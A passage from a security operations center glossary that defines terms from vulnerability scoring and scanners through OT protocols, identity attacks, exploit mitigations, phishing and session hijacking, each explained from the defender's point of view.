Explanation: CVSS provides a numerical score (0–10) and vector string reflecting vulnerability severity based on exploitability and impact metrics (e.g., Attack Vector, Privileges Required). SOC analysts use CVSS to prioritize remediation patches, but note that CVSS base scores do not account for business context. Environmental and temporal scores adjust for mitigations and threat activity. Many SOCs augment CVSS with EPSS (Exploit Prediction Scoring System).

204. **EPSS (Exploit Prediction Scoring System)**

Explanation: EPSS estimates the probability that a vulnerability will be exploited in the wild within the next 30 days, using telemetry from thousands of sources. SOC analysts use EPSS to prioritize patch efforts beyond static CVSS severity. A CVE with CVSS 7.5 but EPSS 0.98 is more urgent than CVSS 9.0 with EPSS 0.01. EPSS is free and updated daily by FIRST.

205. **KEV (Known Exploited Vulnerabilities Catalog)**

Explanation: KEV is CISA's catalog of vulnerabilities that have confirmed active exploitation in the wild. SOC analysts treat KEV entries as emergency patching priority, regardless of CVSS score. KEV includes deadlines for federal agencies (e.g., patch within 2 weeks). Many SOCs create automated alerts when a new KEV entry matches their asset inventory.

206. **Patch Tuesday**

Explanation: Patch Tuesday is Microsoft's monthly release of security updates (second Tuesday of each month). SOC analysts monitor Patch Tuesday for zero-

day disclosures and plan patch validation windows. Threat actors often reverse-engineer patches to exploit unpatched systems (patch gap exploitation). SOC detection rules for newly disclosed CVEs should be tested immediately after Patch Tuesday.

207. **Zero-Day Vulnerability**

Explanation: A zero-day vulnerability is a software flaw for which no patch or vendor fix is publicly available. SOC analysts cannot rely on signatures for zero-day exploits; they must detect exploit behavior (e.g., unusual process crashes, memory corruption patterns). Zero-day detection is a primary justification for behavioral analytics and sandboxing. Threat intelligence vendors sell zero-day notifications.

208. **NVD (National Vulnerability Database)**

Explanation: NVD is the U.S. government repository of vulnerability data, synchronizing with CVE and adding CVSS scores, CWE (Common Weakness Enumeration), and affected product versions. SOC analysts query NVD via API to enrich vulnerability scan results. NVD lag (delays in analysis) reduces its timeliness. Some SOCs prefer vendor-specific security advisories for speed.

209. **CWE (Common Weakness Enumeration)**

Explanation: CWE is a hierarchical taxonomy of software and hardware weakness types (e.g., CWE-89 SQL Injection, CWE-79 XSS). SOC analysts use CWE to categorize root causes of incidents and tune detection rules. By mapping observed exploits to CWE, SOCs can identify secure coding training gaps. CWE is less commonly used in daily SOC operations than CVE.

210. **Vulnerability Scanner**

Explanation: A vulnerability scanner (e.g., Nessus, Qualys, OpenVAS) probes systems for known vulnerabilities by checking software versions, configurations, and patch levels. SOC analysts receive scanner outputs to prioritize remediation and correlate with intrusion attempts. Vulnerability scanners generate false positives (e.g., reporting a vulnerability that's mitigated by a compensating control). Credentialed scanning yields more accurate results than uncredentialed.

211. **Nessus**

Explanation: Nessus is a widely used commercial vulnerability scanner from Tenable, supporting configuration audits, malware detection, and compliance checks. SOC analysts use Nessus to run authenticated and unauthenticated scans of internal and external assets. Nessus output feeds into vulnerability management platforms. Its proprietary detection language (Nessus Attack Scripting Language) allows custom checks.

212. **Qualys**

Explanation: Qualys is a cloud-based vulnerability management platform with integrated scanners (virtual and physical appliances). SOC analysts use Qualys for continuous monitoring and patch verification. Qualys includes asset inventory, threat prioritization using real-time threat intelligence, and remediation tracking. It competes with Tenable and Rapid7.

213. **Rapid7 InsightVM**

Explanation: InsightVM (formerly NeXpose) is Rapid7's vulnerability management solution with real-time risk scoring and live dashboards. SOC analysts integrate InsightVM with SIEM/SOAR for automated remediation workflows (e.g., isolate host if critical vulnerability is exploited). InsightVM includes Metasploit integration for validation. Its "projects" feature tracks remediation SLA compliance.

214. **OpenVAS**

Explanation: OpenVAS (Open Vulnerability Assessment System) is the open-source engine behind Greenbone Security Manager. SOC analysts with limited budgets use OpenVAS for internal vulnerability scanning. OpenVAS has a steeper learning curve and fewer enterprise integrations but is cost-effective. Scan performance lags behind commercial alternatives.

215. **Patch Management**

Explanation: Patch management is the process of acquiring, testing, and deploying software updates to remediate vulnerabilities. SOC analysts do not execute patch management (IT operations does), but they track patch status and

escalate unpatched critical assets under active exploitation. Patch failure from business continuity concerns is a common SOC friction point. Automated patch compliance dashboards reduce manual follow-up.

216. **Configuration Management Database (CMDB)**

Explanation: The CMDB is a repository of configuration items (CIs) such as servers, network devices, applications, and their relationships. SOC analysts query the CMDB to determine asset criticality, ownership, and patch status during incident triage. A stale CMDB leads to incorrect prioritization (e.g., treating a domain controller as low criticality). Integration between SIEM and CMDB improves risk scoring.

217. **Asset Inventory**

Explanation: Asset inventory is the complete, accurate list of hardware, software, cloud resources, and network devices within an organization. SOC analysts cannot protect what they cannot see—unknown assets are attacker landing zones. Asset inventory feeds vulnerability scanning, incident response scoping, and threat hunting. Discovery tools (nmap, cloud APIs, EDR) supplement CMDB.

218. **Shadow IT**

Explanation: Shadow IT refers to unauthorized applications, cloud services, or devices used by employees without IT/SOC approval (e.g., personal Dropbox, unmanaged AWS account). SOC analysts struggle to monitor shadow IT because no log forwarding or agent is installed. Shadow IT detection requires network traffic analysis, CASB, and user education. Shadow IT data breaches are common.

219. **BYOD (Bring Your Own Device)**

Explanation: BYOD policies allow employees to use personal devices (laptops, phones) for work. SOC analysts face visibility gaps because BYOD devices lack EDR agents and full logging. Mobile device management (MDM) or containerized apps partially mitigate risks. BYOD increases the difficulty of incident response (cannot seize personal device).

220. **OT (Operational Technology)**

Explanation: OT refers to hardware and software controlling industrial equipment

(PLCs, SCADA, DCS). SOC analysts must adapt detection strategies for OT because traditional EDR agents break real-time processes. OT security emphasizes network segmentation, anomaly detection (no patch cycles), and passive monitoring (no active scanning). OT incident response requires safety-first protocols (e.g., do not shut down a refinery controller).

221. **SCADA (Supervisory Control and Data Acquisition)**

Explanation: SCADA systems monitor and control industrial processes (water treatment, power grids, pipelines). SOC analysts investigate SCADA-specific threats like Modbus command injection or unauthorized ladder logic changes. SCADA protocols (Modbus, DNP3) lack built-in security. SCADA environments often have legacy Windows systems that cannot be patched. Passive network monitoring is preferred over active scanning.

222. **PLC (Programmable Logic Controller)**

Explanation: PLCs are ruggedized industrial computers that control machinery (conveyor belts, valves, motors). SOC analysts use asset inventory to identify PLCs because they are common ransomware targets (e.g., targeting robotic arms). PLCs communicate via industrial protocols. Patching PLC firmware is complex and requires production downtime.

223. **Modbus**

Explanation: Modbus is a widely used industrial control system protocol with no authentication or encryption. SOC analysts detect Modbus-based attacks (e.g., writing to coil addresses) by monitoring protocol anomalies. Passive Modbus analyzers flag function code 15 (write multiple coils) as high risk. Modbus traffic should be restricted to segmented OT VLANs.

224. **DNP3 (Distributed Network Protocol)**

Explanation: DNP3 is used in electrical utilities for SCADA communications, supporting more advanced features than Modbus. SOC analysts monitor DNP3 for unexpected object variations or unsolicited responses. DNP3 Secure Authentication (DNP3-SA) adds security but is not universally deployed. Bro/Zeek includes DNP3 protocol analyzers.

225. **Purple Team**

Explanation: Purple team is a collaborative exercise where red team (attackers) and blue team (defenders) work together in real time to improve detection and response. SOC analysts use purple team results to refine alert logic, tune false positives, and close visibility gaps. Purple teaming is more efficient than isolated red-blue exercises because findings are immediately actionable. A purple team session might focus on a single MITRE technique like T1059.001 (PowerShell).

226. **Tabletop Simulation**

Explanation: Tabletop simulation is a discussion-based exercise where SOC analysts and stakeholders verbally walk through a scenario (e.g., ransomware on payroll server) without executing technical actions. Tabletop testing reveals process gaps, communication failures, and role confusion. Compliance frameworks (PCI DSS, HIPAA, SOC2) often require annual tabletops. After-action reports from tabletops drive playbook updates.

227. **Breach and Attack Simulation (BAS)**

Explanation: BAS tools automatically execute simulated attacks across the environment to measure security control effectiveness. SOC analysts receive BAS reports showing which detections fired, which missed, and response times. BAS complements red teaming with continuous, lower-fidelity testing. Examples include AttackIQ, Picus, and SafeBreach.

228. **Adversary Emulation**

Explanation: Adversary emulation is a structured red team operation that mimics a specific threat actor's TTPs based on threat intelligence reports. SOC analysts prepare for upcoming emulations by reviewing past incidents. Emulation plans (e.g., APT29, FIN7) include specific command sequences, timings, and evasion techniques. Emulation results validate SOC detection coverage.

229. **SOC Maturity Model**

Explanation: A SOC maturity model (e.g., SANS, Gartner) defines stages from initial (reactive, no playbooks) to optimized (proactive hunting, automation, metrics-driven). SOC analysts assess their current maturity to identify gaps.

Maturity includes people (skills), process (playbooks,SLA), and technology (tool integration). Proactive threat hunting defines high maturity.

230. **Phishing Simulation**

Explanation: Phishing simulation sends fake phishing emails to employees to measure click rates and reporting behavior. SOC analysts receive simulation results and may trigger automated user remediation (e.g., mandatory training). Simulation metrics drive awareness program funding. Failure to report simulated phishing is as important as clicking (reporting is a key control).

231. **PurpleTeam Automation (PTA)**

Explanation: PurpleTeam automation refers to SOAR-like workflows that trigger controlled adversary emulation based on detection gaps. SOC analysts use PTA tools (e.g., Scythe, Prelude) to continuously test specific rules. PTA avoids the overhead of full red team exercises. Automated purple teaming can run weekly.

232. **SOC Health Dashboard**

Explanation: A SOC health dashboard visualizes KPIs (MTTD, MTTR, alert volume, false positive rate, log source coverage). SOC analysts and managers use dashboards to prioritize improvements (e.g., high false positives for a specific rule). Real-time dashboards help during shift handoff. Dashboard fatigue occurs with too many metrics.

233. **Mean Time to Acknowledge (MTTA)**

Explanation: MTTA is the average time between alert generation and first human interaction (e.g., analyst acknowledging a ticket). SOC managers use MTTA to measure triage responsiveness. Long MTTA indicates understaffing or poor alert routing. SLAs often define MTTA (e.g., critical alerts acknowledged within 5 minutes).

234. **Dwell Time**

Explanation: Dwell time is the duration an attacker remains undetected within the environment before discovery. SOC analysts track dwell time via incident post-mortems to measure detection effectiveness. Lower dwell time reduces breach

impact. Median dwell times from industry reports (e.g., M-Trends) range from 10 to 100 days. Dwell time is reduced by proactive hunting.

235. **Breakout Time**

Explanation: Breakout time is the interval from initial access to lateral movement or privilege escalation. SOC analysts aim to detect attackers before breakout occurs. Rapid breakout (under 2 hours) is typical of ransomware and automated malware. Longer breakout times allow more opportunities for detection. Breakout time is measured in incident response reports.

236. **Remote Desktop Protocol (RDP)**

Explanation: RDP is a Microsoft protocol for remote desktop access; attackers use RDP for lateral movement (MITRE T1021.001). SOC analysts monitor RDP logins for anomalies (non-standard hours, impossible travel, non-IT users). RDP brute-force attacks are common entry vectors. Network-level authentication (NLA) and MFA for RDP reduce risk.

237. **Secure Shell (SSH)**

Explanation: SSH is a cryptographic network protocol for secure remote access; attackers abuse stolen SSH keys for lateral movement on Linux systems. SOC analysts monitor SSH logs for failed login bursts (brute-force) and unusual command execution history (bash history). SSH key theft enables persisting across server farms. Certificate-based SSH authentication is more secure than passwords.

238. **Server Message Block (SMB)**

Explanation: SMB is a Windows network file-sharing protocol; attackers use SMB to copy tools laterally and exfiltrate data. SOC analysts detect SMB lateral movement via Event ID 5140 (share access) and 5145 (detailed file access). SMBv1 is deprecated due to EternalBlue vulnerabilities. SMB logging volume is high; focus on anomalous source IPs.

239. **Kerberos**

Explanation: Kerberos is Active Directory's default authentication protocol; attacks include Kerberoasting (TGS cracking) and Golden Ticket (krbtgt compromise).

SOC analysts monitor Kerberos Event IDs: 4768 (TGT request), 4769 (TGS request), 4771 (pre-auth failure). Anomalies include unusual service name requests or TGS requests without prior TGT.

240. **Lightweight Directory Access Protocol (LDAP)**

Explanation: LDAP is used to query and modify directory services (e.g., Active Directory). Attackers perform LDAP enumeration via tools like BloodHound. SOC analysts detect LDAP enumeration by high volume of LDAP queries from a single source (Event ID 4662). LDAP signing and channel binding prevent some tampering attacks.

241. **NT LAN Manager (NTLM)**

Explanation: NTLM is a legacy Windows authentication protocol vulnerable to relay and pass-the-hash attacks. SOC analysts detect NTLM relay by monitoring for NTLM authentication across multiple servers from a single source. NTLM logging (Event ID 4624 with logon type 3) is verbose. Organizations aim to disable NTLM in favor of Kerberos.

242. **Security Assertion Markup Language (SAML)**

Explanation: SAML is an XML-based standard for single sign-on (SSO) between identity providers (e.g., Okta, ADFS) and service providers. Attacks include SAML response tampering and token replay. SOC analysts monitor SAML logs for unusual attribute statements or mismatched issuer IDs. Compromised SAML signing certificates enable complete cloud compromise.

243. **OAuth**

Explanation: OAuth is an authorization framework enabling applications to access user data without passwords (e.g., "Sign in with Google"). Attackers abuse OAuth by creating malicious apps with excessive scopes (e.g., mail.read). SOC analysts monitor OAuth grant events in cloud logs (Azure AD, Google Workspace). Abusing OAuth is a common cloud initial access vector.

244. **OpenID Connect (OIDC)**

Explanation: OIDC is an authentication layer on top of OAuth 2.0 providing identity claims (ID token). SOC analysts detect OIDC anomalies via token

audience mismatch or nonce reuse. OIDC federation with external IdPs introduces trust risks. Token binding (using client TLS certificates) prevents token replay.

245. **MFA (Multi-Factor Authentication)**

Explanation: MFA requires two or more verification factors (something you know, have, are). SOC analysts monitor MFA logs for failures (e.g., MFA bomb attacks) and enrollment of new devices (possible account takeover). MFA bypass techniques (session hijacking, MFA fatigue) are active attack vectors. MFA logs are a critical data source for identity monitoring.

246. **MFA Fatigue Attack**

Explanation: MFA fatigue (MFA bombing or push spamming) occurs when attackers repeatedly send MFA push notifications to a user hoping they eventually approve. SOC analysts detect MFA fatigue by correlating many failed push attempts in a short time (e.g., 20 pushes in 5 minutes). User education (never approve unexpected prompts) is the primary mitigation. SOCs can implement number matching or geo-fencing to block fatigue attacks.

247. **Conditional Access**

Explanation: Conditional access policies evaluate signals (user, location, device, risk) to grant or block access (e.g., block logins from non-compliant devices). SOC analysts configure and monitor conditional access to reduce attack surface (block legacy authentication, require MFA for high-risk logins). Conditional access logs in Azure AD provide evidence of policy enforcement.

248. **Identity Threat Detection and Response (ITDR)**

Explanation: ITDR is a category of tools and processes focused on detecting and responding to identity-based attacks (compromised credentials, privilege escalation, malicious OAuth apps). SOC analysts use ITDR to complement traditional SIEM with identity-specific detections. ITDR solutions protect identity infrastructure itself (e.g., AD, Azure AD, Okta). ITDR includes identity hygiene (orphaned accounts, stale privileges).

249. **Entra ID (formerly Azure AD)**

Explanation: Microsoft Entra ID is the cloud identity and access management

service for Microsoft 365 and Azure. SOC analysts monitor Entra ID sign-in logs (risk events, location anomalies) and audit logs (role assignments, app registrations). Entra ID includes Identity Protection for user risk detection. Integration with Microsoft Sentinel provides identity-focused alerts.

250. **Azure AD Connect (AADConnect)**

Explanation: AADConnect synchronizes on-prem Active Directory objects to Entra ID (Azure AD) for hybrid identities. Attackers compromise AADConnect servers to create cloud persistence (e.g., synchronize a high-privilege cloud account). SOC analysts monitor AADConnect for unexpected export operations or Service Account activity. AADConnect is a Tier 0 asset (critical security boundary).

Part 6/10 – Terms 251 to 300

251. **Zero Trust**

Explanation: Zero trust is a security model assuming no implicit trust for any user, device, or network, even inside the perimeter. SOC analysts implement zero trust principles through continuous verification, least privilege access, and micro-segmentation. Zero trust shifts detection focus from network boundaries to identity and workload telemetry. SOC metrics under zero trust include unusual access requests and policy violations.

252. **Micro-Segmentation**

Explanation: Micro-segmentation divides data centers or cloud networks into isolated workload segments with granular firewall policies (e.g., web server cannot talk to database except on specific port). SOC analysts monitor micro-segmentation logs for denied connection attempts that indicate attacker lateral movement or misconfigured workloads. Micro-segmentation reduces blast radius after a breach. Enforcement is often via agents (e.g., Guardicore, Illumio) or cloud-native controls.

253. **SASE (Secure Access Service Edge)**

Explanation: SASE converges network security (SWG, CASB, FWaaS) and WAN

capabilities (SD-WAN) into a cloud-delivered model. SOC analysts monitor SASE logs for threats in remote user traffic, including TLS decryption violations and shadow IT. SASE centralizes policy enforcement across branches and home offices. SASE logging is critical for detecting compromised remote devices.

254. **SWG (Secure Web Gateway)**

Explanation: SWG filters web traffic to block malware, enforce acceptable use policies, and inspect SSL/TLS. SOC analysts receive SWG alerts for category violations (e.g., anonymous proxies, command-and-control callback domains). SWG decryption enables inspection of HTTPS traffic but introduces privacy concerns. SWG logs are a primary source for compromised host identification.

255. **DLP Endpoint / Network**

Explanation: DLP endpoint agents monitor file operations (copy to USB, print, screenshot), while network DLP inspects outbound traffic for sensitive patterns (credit card numbers, SSNs). SOC analysts investigate DLP findings for policy violations potentially indicating data theft. High-volume DLP alerts require automated prioritization (e.g., new external share). False positives from pattern matching (e.g., test credit card numbers) must be tuned.

256. **DRM (Digital Rights Management)**

Explanation: DRM controls access to sensitive documents even after they leave the corporate network (expiring access, blocking printing, watermarking). SOC analysts integrate DRM logs with DLP/UEBA to detect unusual access patterns (e.g., employee accessing many documents before resignation). DRM is more restrictive than DLP but more invasive to user workflows.

257. **FIM (File Integrity Monitoring)**

Explanation: FIM detects changes to critical system files, registry keys, or configuration files (e.g., /etc/passwd, system32\drivers\etc\hosts). SOC analysts receive FIM alerts for unauthorized modifications that may indicate rootkits or persistence. FIM generates many false positives from legitimate patching and requires baseline recalibration. Compliance mandates (PCI DSS 11.5) require FIM.

258. **System Integrity**

Explanation: System integrity ensures that files, configurations, and processes have not been tampered with by an attacker. SOC analysts verify system integrity using FIM, secure boot attestation, and checksums of critical binaries (e.g., lsass.exe integrity). Integrity violations are high-confidence compromise indicators. Remediation often requires rebuild from known-good image.

259. **Secure Boot**

Explanation: Secure Boot uses digitally signed firmware and bootloaders to prevent unsigned code (e.g., bootkits) from loading during system startup. SOC analysts verify Secure Boot status via system inventory tools (e.g., Confirm-SecureBootUEFI). Disabled Secure Boot on critical servers may indicate tampering. Secure Boot protects against low-level persistence.

260. **TPM (Trusted Platform Module)**

Explanation: TPM is a hardware chip that stores cryptographic keys, measurements, and attestation data. SOC analysts use TPM for BitLocker key protection, measured boot attestation, and device health certification. Compromised TPM (rare) undermines platform trust. TPM logs (Event ID 11) indicate boot measurement events.

261. **BitLocker**

Explanation: BitLocker is Windows full-disk encryption that protects data at rest, often using TPM. SOC analysts require BitLocker recovery keys for forensic imaging of compromised systems. BitLocker can be suspended during patching and must be re-enabled. Attackers cannot read encrypted drive content without the key, complicating off-line forensics.

262. **CBC (Credential Brute-Force Countermeasure)**

Explanation: Credential brute-force countermeasures include account lockout policies, CAPTCHA, and throttling failed logins. SOC analysts monitor for lockout storms (multiple accounts locked from one source) indicating password spraying or DoS. Overly aggressive lockout policies enable denial-of-service by attackers. Rate limiting on authentication endpoints is preferred.

263. **Password Spraying**

Explanation: Password spraying is an attack trying one common password (e.g., "Fall2024") against many usernames to avoid lockouts. SOC analysts detect password spraying by correlating failed logins across multiple accounts from the same source IP with the same password. Detection requires logging both username and failed password hash. Password spraying is the most common initial access method for enterprise breaches.

264. **Credential Stuffing**

Explanation: Credential stuffing uses stolen username/password pairs from one service to attempt login on another service. SOC analysts detect credential stuffing by monitoring for login attempts with unusual user agents, headless browsers, or rapid authentication from residential proxies. User behavior analytics (unusual login time, atypical device) helps confirm. Credential stuffing is driven by automated bots, not manual attackers.

265. **Impossible Travel**

Explanation: Impossible travel detection flags a login from a user who appears to log in from geographically impossible locations within the time window (e.g., New York and London 10 minutes apart). SOC analysts treat impossible travel as high-fidelity account compromise evidence, unless VPN or proxy usage explains it. Thresholds account for typical flight times plus crossing time zones.

266. **Risk-Based Authentication (RBA)**

Explanation: RBA evaluates login risk signals (device ID, IP reputation, behavior) and challenges or blocks high-risk attempts. SOC analysts configure RBA policies and monitor for excessive step-up challenges (may indicate adversary testing). RBA complements static MFA by reducing user friction for low-risk logins. RBA logs include risk scores and decision reasons.

267. **Continuous Authentication**

Explanation: Continuous authentication monitors user behavior throughout a session (keystroke dynamics, mouse movements, access patterns) not just at login. SOC analysts receive alerts when behavioral drift indicates session

hijacking. Continuous authentication is still emerging; most SOC's rely on session token logging and UEBA. Implementation requires low-latency analysis without degrading user experience.

268. **User Risk Score**

Explanation: User risk score is a numeric value (e.g., 0–100) computed by UEBA or identity platforms based on anomalous activities (impossible travel, malware detection, unusual file access). SOC analysts prioritize investigation of high-risk users. Risk scores decay over time if no further anomalies occur. Risk scoring must avoid bias (e.g., over-scoring executives with normal unusual hours).

269. **Entity Risk Score**

Explanation: Entity risk score applies risk modeling to non-user entities: devices, service accounts, applications, and workloads. A server communicating with known malicious IPs would have elevated entity risk score. SOC analysts pivot between user and entity risk to understand complete attack story. Device entity risk can trigger automatic quarantine in EDR.

270. **User Entity Behavior Analytics (UEBA)**

Explanation: UEBA extends behavioral analytics to both users and non-user entities (machines, processes, network devices). SOC analysts rely on UEBA to detect peer group anomalies (e.g., one finance employee accessing HR app) and peer analysis. UEBA reduces false positives by comparing behavior to similar roles, not global averages. It is often a licensed SIEM module.

271. **Peer Group Analysis**

Explanation: Peer group analysis groups users by job function, department, or location and compares individual behavior to the group's norm. SOC analysts use peer analysis to detect anomalies that would be normal for a different group (e.g., marketing employee accessing source code repository). Peer groups must be carefully defined to avoid masking misuse by entire departments.

272. **Seasonality**

Explanation: Seasonality refers to periodic variations in data (e.g., higher remote logins during holidays, nightly backups causing traffic spikes). SOC detection

models must account for seasonality to avoid false anomalies. Analysts incorporate seasonality into baseline windows (e.g., compare to same day last week, not last 7 days ignoring weekday vs weekend). Seasonality is especially important in retail (holiday sales) and education (summer breaks).

273. **Trend Analysis**

Explanation: Trend analysis monitors metrics over time to identify gradual changes (e.g., increasing failed logins over several weeks suggesting password spraying campaign). SOC analysts use trend analysis in dashboards to detect stealthy mass-scale attacks that evade single-alert thresholds. Trend analysis requires consistent log collection and normalization over long periods.

274. **Incident Timeline Reconstruction**

Explanation: Incident timeline reconstruction orders attacker actions, defender detections, and response activities chronologically. SOC analysts build timelines using SIEM searches, EDR event sequences, and SOAR action logs. Timelines reveal gaps (e.g., 2-hour window with no logs) and pinpoint root cause. Timeline tools (e.g., Timesketch, Velociraptor) help visualization.

275. **Root Cause Determination**

Explanation: Root cause determination is identifying the initial vulnerability, misconfiguration, or human error that enabled attacker entry. SOC analysts trace back from observed compromise to entry point (e.g., unpatched VPN server, phishing link clicked). Root cause must be fixed during eradication to prevent re-attack. Root cause analysis often requires interviewing users or reviewing email gateway logs.

276. **Containment Strategy**

Explanation: A containment strategy defines which containment actions (logical vs physical) to apply based on incident type and asset criticality. Options include network isolation (disable NIC), host quarantine (EDR containment), account disablement, or firewall blacklist. SOC analysts escalate containment decisions when business impact is high (e.g., don't isolate revenue web server without approval). Containment preserves evidence for later forensics.

277. **Network Isolation**

Explanation: Network isolation removes a compromised host from network access except to remediation systems (e.g., patching, forensics). SOC analysts can isolate via EDR (Microsoft Defender for Endpoint isolation mode), switch port disable, or VLAN move. Isolated hosts cannot be used for lateral movement or C2. Isolation without user notification avoids tipping off attackers.

278. **Host Quarantine**

Explanation: Host quarantine is a specific containment action typically executed by EDR, blocking outbound and inbound network traffic except to specified remediation servers. SOC analysts trigger quarantine from EDR console when malware is detected. Quarantine prevents ransomware encryption of network shares but may not stop disk encryption locally. Quarantined hosts are visible in EDR but cannot be remotely accessed unless explicitly allowed.

279. **Application Control**

Explanation: Application control (e.g., Windows Defender Application Control, AppLocker) restricts which executables, scripts, and installers can run based on publisher, hash, or path. SOC analysts use application control logs to detect blocked execution attempts by attackers. Application control is the strongest mitigation against LOLBins and unknown malware. Maintenance overhead (adding new legitimate applications) is significant.

280. **Allowlisting (Application Allowlisting)**

Explanation: Allowlisting is the practice of only permitting explicitly approved applications to execute, blocking all others by default. SOC analysts maintaining allowlists must frequently update them for new software versions. Allowlisting defeats most malware but breaks in dynamic environments. Many SOC's limit allowlisting to high-risk servers (domain controllers, jump boxes).

281. **Blocklisting**

Explanation: Blocklisting prevents execution of specific known-bad applications or hashes. SOC analysts maintain blocklists via EDR or antivirus custom signatures. Blocklisting is reactive (hash must be known). Attackers easily bypass blocklists by

recompiling or modifying binaries. Blocklisting alone is insufficient for modern threats.

282. **Exploit Prevention**

Explanation: Exploit prevention (EMET, Windows Defender Exploit Guard) hardens applications against memory corruption techniques (DEP, ASLR, SEHOP, heap spraying). SOC analysts monitor exploit prevention logs for blocked mitigation events (e.g., DEP violation in Office). Exploit prevention blocks shellcode without requiring malware signatures. Windows 10/11 includes native exploit protection settings.

283. **Attack Surface Reduction (ASR)**

Explanation: ASR rules in Microsoft Defender block specific behaviors used by malware (e.g., Office processes creating child processes, PowerShell downloading payloads). SOC analysts enable ASR rules in audit mode first to test for false positives. ASR is a form of proactive blocking rather than detection. ASR rules are among the best defenses against commodity ransomware.

284. **Memory Protection (DEP/ASLR)**

Explanation: Data Execution Prevention (DEP) marks memory pages as non-executable unless explicitly containing code; Address Space Layout Randomization (ASLR) randomizes memory addresses of system modules. SOC analysts ensure DEP/ASLR are enabled across systems (via EMET or OS defaults). Attackers rely on bypass techniques (ROP, JOP) when DEP/ASLR present. DEP/ASLR violations indicate exploit attempts.

285. **Control Flow Guard (CFG)**

Explanation: CFG is a Microsoft compiler feature that validates indirect call targets at runtime, blocking many ROP (Return Oriented Programming) attacks. SOC analysts verify CFG is enabled for security-critical applications (browsers, Office). CFG bypass techniques exist but increase attacker complexity. CFG status is visible via `Dumpbin /headers`.

286. **ROP (Return Oriented Programming)**

Explanation: ROP is an exploit technique that chains small code snippets

(gadgets) ending in `ret` instructions from existing executable memory (e.g., libraries). SOC analysts cannot detect ROP via static signatures; they rely on exploit prevention logs (e.g., CFG violation). ROP bypasses DEP. Modern EDRs detect ROP via call stack anomalies.

287. **Heap Spraying**

Explanation: Heap spraying floods memory with repeated shellcode to increase predictability when exploit jumps into the heap. SOC analysts detect heap spraying via memory anomaly detection (large allocations of NOP sleds). Exploit prevention heuristics block heap spraying. Browser sandboxes mitigate heap spraying effectiveness.

288. **Null Page**

Explanation: The null page (memory address 0x0) is often used in kernel exploits because dereferencing a NULL pointer may lead to controlled execution. SOC analysts monitor for null page allocation attempts (rare in legitimate software) as exploit indicators. Windows 8 and later protect null page by default. Legacy systems remain vulnerable.

289. **KASLR (Kernel Address Space Layout Randomization)**

Explanation: KASLR randomizes kernel memory locations, making kernel exploits harder to craft. SOC analysts verify KASLR is enabled (default) because disabled KASLR is a high-severity finding. Kernel exploits often require information leaks to bypass KASLR. System uptime beyond 30 days can reduce KASLR entropy due to memory exhaustion.

290. **Patch Gap**

Explanation: Patch gap is the time between when a patch is released and when it is applied to a vulnerable system. SOC analysts prioritize patching for vulnerabilities with active exploitation (KEV) to reduce patch gap. Attackers exploit patch gap within hours of disclosure (e.g., ProxyLogon, Log4Shell). Patch gap metrics are tracked by vulnerability management platforms.

291. **Exploit Chain**

Explanation: An exploit chain combines multiple vulnerabilities to achieve code

execution or privilege escalation when no single vulnerability suffices (e.g., browser renderer RCE + sandbox escape). SOC analysts detect exploit chains by correlating multiple types of exploit prevention alerts from the same process. Chained exploits are typical of APT and zero-day usage.

292. **Exploit Kit**

Explanation: An exploit kit is a web-based toolkit (e.g., Angler, RIG) that probes visitor browsers for unpatched vulnerabilities and delivers malware. SOC analysts detect exploit kit activity via network signatures (e.g., landing page gate pattern, specific exploit payloads), and user agents anomalies. Exploit kit traffic often uses malvertising redirect chains. EKs have declined as patching improved.

293. **Drive-By Download**

Explanation: A drive-by download occurs when a user visits a legitimate website compromised to silently deliver malware via an exploit kit. SOC analysts detect drive-bys via web proxy logs showing redirects to known EK domains or exploit payload retrieval. User education is ineffective; detection relies on network indicators.

294. **Malvertising**

Explanation: Malvertising injects malicious code into legitimate ad networks so that users are redirected to exploit kits simply by viewing an ad (no click required). SOC analysts monitor for ad network domains in web logs and block ad categories via SWG. Malvertising bypasses traditional "don't click suspicious links" advice. Background ad-blocking reduces exposure.

295. **Watering Hole**

Explanation: Watering hole attacks compromise websites that a target group frequently visits (industry forums, vendor support portals). SOC analysts detect watering holes via threat intelligence about compromised legitimate sites and monitoring traffic to those sites from internal users. Watering holes are less common but highly targeted. User education to avoid unknown links does not prevent watering holes.

296. **Phishing Kit**

Explanation: A phishing kit is a pre-made package (HTML, CSS, PHP) that mimics a legitimate login page to steal credentials, often with built-in evasion (e.g., blocking security scanners). SOC analysts working incident response identify phishing kit usage by analyzing captured phishing email links. Phishing kits lower the skill barrier for attackers. SOC teams submit phishing URLs to takedown services.

297. **Spear Phishing**

Explanation: Spear phishing targets specific individuals with personalized content using research about the victim. SOC analysts investigate spear phishing emails for social engineering lures related to the target's job role. Spear phishing is the top initial access vector for APTs. Detection requires email security that inspects sender reputation, links, and attachments with advanced sandboxing.

298. **Whaling**

Explanation: Whaling is a type of spear phishing targeting senior executives (CEO, CFO) with high-value lures (legal summons, regulatory inquiries). SOC analysts prioritize whaling incidents because compromised executive accounts have extensive privileges. Whaling emails often bypass standard filters due to low volume and high authenticity (e.g., using real executive names from LinkedIn). SOC teams should have separate playbooks for executive compromise.

299. **Business Email Compromise (BEC)**

Explanation: BEC is a phishing or social engineering attack that impersonates a trusted executive or vendor to trick employees into wiring money or sharing sensitive data. SOC analysts detect BEC via email authentication failures (SPF, DKIM, DMARC) and anomalous payment request patterns. BEC does not require malware or account takeover—pure social engineering. BEC incidents involve fraud teams, not just IT security.

300. **MFA Bypass (Pass-the-Cookie)**

Explanation: Pass-the-cookie steals a session token (cookie) from a browser after MFA was already satisfied, allowing the attacker to bypass MFA entirely. SOC

analysts detect pass-the-cookie by monitoring for anomalous IP addresses accessing authenticated sessions (OAuth logs, Microsoft 365 sign-ins). Short session timeouts (e.g., 1 hour) reduce window of exposure. Token theft is a growing attack vector.

Part 7/10 – Terms 301 to 350

301. Session Hijacking

Explanation: Session hijacking occurs when an attacker steals a valid session token (cookie, JWT, SAML assertion) and uses it to impersonate a legitimate user. SOC analysts detect session hijacking via token reuse from different IP addresses, user agents, or geographic locations within minutes. Logging token identifiers (e.g., `x-ms-auth-token-id`) enables correlation. Short session timeouts and IP binding (token pinning) reduce risk.

302. Token Replay

Explanation: Token replay is an attack where an intercepted authentication token is resent to the same or different service to gain unauthorized access. SOC analysts detect token replay by monitoring for duplicate token values across requests from different sources. Anti-replay caches (nonce, timestamp) in protocols like OAuth mitigate this. Token replay attacks often present as 403 errors with “token already used” messages.

303. JWT (JSON Web Token)

